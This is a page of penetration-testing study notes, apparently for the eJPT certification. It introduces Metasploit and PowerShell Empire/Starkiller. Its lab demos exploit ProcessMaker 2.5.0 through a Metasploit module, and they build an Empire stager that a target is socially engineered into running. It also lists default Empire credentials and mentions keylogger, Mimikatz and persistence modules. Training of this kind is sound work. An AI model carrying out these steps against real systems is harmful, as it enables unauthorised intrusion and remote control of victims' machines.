> For the complete documentation index, see [llms.txt](https://106-sam.gitbook.io/ejptv2-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://106-sam.gitbook.io/ejptv2-notes/exploitation/exploits/frameworks.md).
# Frameworks
## Exploitation Frameworks
### The Metasploit Framework (MSF)
* The Metasploit Framework (MSF) is an open-source, robust penetration testing and exploitation framework that is used by penetration testers and security researchers worldwide.
* It provides penetration testers with a robust infrastructure required to automate every stage of the penetration testing life cycle.
* It is also used to develop and test exploits and has one of the world's largest database of public, tested exploits.
* The Metasploit Framework is designed to be modular, allowing for new functionality to be implemented with ease.
Essential Terminology
* Interface - Methods of interacting with the Metasploit Framework
* Module - Pieces of code that perform a particular task, an example of a module is an exploit.
* Vulnerability - Weakness or flaw in a computer system or network that can be exploited.
* Exploit - Piece of code/module that is used to take advantage a vulnerability within a system, service or application.
* Payload - Piece of code delivered to the target system by an exploit with the objective of executing arbitrary commands or providing remote access to an attacker.
* Listener - A utility that listens for an incoming connection from a target.
Metasploit Framework Console
* The Metasploit Framework Console (MSFconsole) is an easy-to-use all in one interface that provides you with access to all the functionality of the Metasploit Framework.
Penetration Testing With MSF
* The MSF can be used to perfrom and automate various tasks that fall under the penetration testing life cycle.
* In order to understand how we can leverage the MSF for penetration testing, we need to explore the various phases of penetration test and their respective techniques and objectives
* We can adopt the PTES (Penetration Testing Execution Standard) as a roadmap to understanding the various phases that make up a penetration test and how Metasploit can be integrated in to each phase.
DEMO
```
nmap -sS -sV
```
* open the site in browser it \[ProcessMaker] made by \[Colosa Inc]
* Google search "Process Maker default credentials".
* ProcessMaker Ver. 2.5.0
```
searchsploit ProcessMaker
```
```
searchsploit -m 29325
vim 29325.rb
```
```
service postgresql start
msfconsole -q
> workspace -a ProcessMaker
> workspace
> search ProcessMaker
> use exploit/multi/http/processmaker_exec
> show options
> set RHOSTS
> exploit
>>>> sysinfo
>>>> pwd
>>>> cd /
>>>> pwd
>>>> ls
```
***
### PowerShell-Empire
* PowerShell-Empire (Aka Empire) is a pure PowerShell exploitation/post-exploitation framework built on cryptological-secure communication and flexible architecture.
* Empire implements the ability to run PowerShell agents without needing powershell.exe, rapidly deployable post-exploitation modules ranging from keyloggers to Mimikatz, and adaptable communications to evade network detection, all wrapped up in a usability-focused framework.
* PowerShell Empire recently received an update and is now officially support and maintained by Kali Linux, more information regarding the update can be foound here:
Starkiller
* In addition to being updated and modernized, BC Security, the company responsible for maintaining the Empire has also developed a companion to Empire called Starkiller.
* Starkiller is a GUI Front-end for the Powershell Empire, it is an Electron application written in VueJS and provides users with an intuitive way of interacting with Empire.
* In order to get an understanding of how Empire works and the components that make up the framework. I would recommend going through the official documentation which can be found here:
* PowerShell Empire & Starkiller are both available as packages in Kali Linux repositories.
DEMO
* Installation of PowerShell Empire
```
sudo apt-get update && sudo apt-get install powershell-empire starkiller -y
```
* start empire server for backend
```
sudo powershell-empire server
```
* **Agents** - Agents are essentially target systems that you've gained access to.
* **Listeners** - Listeners are essentially what they are on the Metasploit Framework. like NetCat Listeners and a multi handler when a stager is executed.
```
Server>
```
* We need to have powershell empire sever running to utilize the cilent.
* Start empire client
```
sudo powershell-empire client
```
```
Empire>
> listeners
> agents
```
* Search and Open Starkiller application
> empireadmin :: password123
* Starkiller is the frontend of PowerShell empire
* go to Plugins > start Csharpserver > submil
* Modules > search for persistence modules
* We can the module is part of in terms of the techniques highlighted here with the MITRE att\&ck framework
* Stager >
To create a listener
* change to http, \, \ and submit
* Stagers, - windows/csharp\_exe, http, and submit
* in action download the stager.
* transfer file stager.exe to target through social engg.
```
python3 -m http.server 80
```
* use browser to download the stager
* run the stager.exe
* we got the agent
* In view change the name as per yourneed
* Interact - Shell command
* File Browser - for browing files and folders
* its easy to upload and download a file from PowerShell
```
Empire> agents
> interact Windows7
> help
> ipconfig
> view
> history
```